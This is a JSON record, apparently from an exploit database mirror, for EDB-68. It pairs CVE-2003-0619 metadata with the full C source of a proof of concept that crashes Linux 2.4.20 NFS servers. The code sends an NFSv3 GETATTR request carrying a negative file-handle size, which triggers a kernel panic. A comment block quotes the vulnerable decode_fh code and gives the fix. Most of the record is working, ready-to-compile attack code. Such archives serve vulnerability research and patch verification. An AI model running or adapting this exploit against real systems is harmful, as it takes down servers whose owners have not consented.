{"exploit":{"id":"EDB-68","name":"Linux Kernel 2.4.20 - 'decode_fh' Denial of Service (DoS)","description":"Linux Kernel 2.4.20 - 'decode_fh' Denial of Service (DoS)","cves":["CVE-2003-0619"],"author":"Jared Stanbrough","published":"2003-07-29","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/68","path":"exploits/linux/dos/68.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-68.c","vulnerabilities":[{"id":"CVE-2003-0619","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer signedness error in the decode_fh function of nfs3xdr.c in Linux kernel before 2.4.21 allows remote attackers to cause a denial of service (kernel panic) via a negative size value within XDR data of an NFSv3 procedure call.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0619","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0619"},"updatedAt":"2024-08-08T01:58:11.155Z","retrievedAt":"2026-11-26T12:05:29.115Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-68.png?v=2","url":"https://exploitbin.com/exploits/EDB-68","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-68/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-68/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n  Linux 2.4.20 knfsd kernel signed/unsigned decode_fh DoS\n  Author: jared stanbrough <jareds pdx edu>\n\n  Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)\n\n  static inline u32 *\n  decode_fh(u32 *p, struct svc_fh *fhp)\n  {\n        int size;\n        fh_init(fhp, NFS3_FHSIZE);\n        size = ntohl(*p++);\n        if (size > NFS3_FHSIZE)\n                return NULL;\n\n        memcpy(&fhp->fh_handle.fh_base, p, size);\n        fhp->fh_handle.fh_size = size;\n        return p + XDR_QUADLEN(size);\n  }\n\n  This code is called by quite a few XDR decoding routines. The below\n  POC demonstrates the vulnerability by encoding a malicious fhsize\n  at the beginning of a diroparg xdr argument.\n\n  To test this, the vulnerable host must have an accessible exported\n  directory which was previously mounted by the attacker. _HOWEVER_\n  it may be possible to trigger this bug by some other method.\n\n  Fix: Simply change size to an unsigned int, or check for size < 0.\n*/\n\n#include <rpcsvc/nfs_prot.h>\n#include <rpc/rpc.h>\n#include <rpc/xdr.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n\n#define NFSPROG 100003\n#define NFSVERS 3\n#define NFSPROC_GETATTR 1\n\nstatic struct diropargs heh;\n\nbool_t xdr_heh(XDR *xdrs, diropargs *heh)\n{\n  int32_t werd = -1;\n  return xdr_int32_t(xdrs, &werd);\n}\n\nint main(void)\n{\n  CLIENT * client;\n  struct timeval tv;\n\n  client = clnt_create(\"marduk\", NFSPROG, NFSVERS, \"udp\");\n\n  if(client == NULL) {\n      perror(\"clnt_create\\n\");\n  }\n\n  tv.tv_sec = 3;\n  tv.tv_usec = 0;\n  client->cl_auth = authunix_create_default();\n\n  clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,\n            (xdrproc_t) xdr_void, NULL, tv);\n\n  return 0;\n}\n\n// milw0rm.com [2003-07-29]","sha256":"7dc260e2267cbd9c53f5c41715b8e1ad51d3b9cb72faeb1293a99b89d394f540","bytes":1722,"fetchedAt":"2026-11-26T12:05:24.178Z","encoding":"utf-8 (display only; download retains original bytes)"}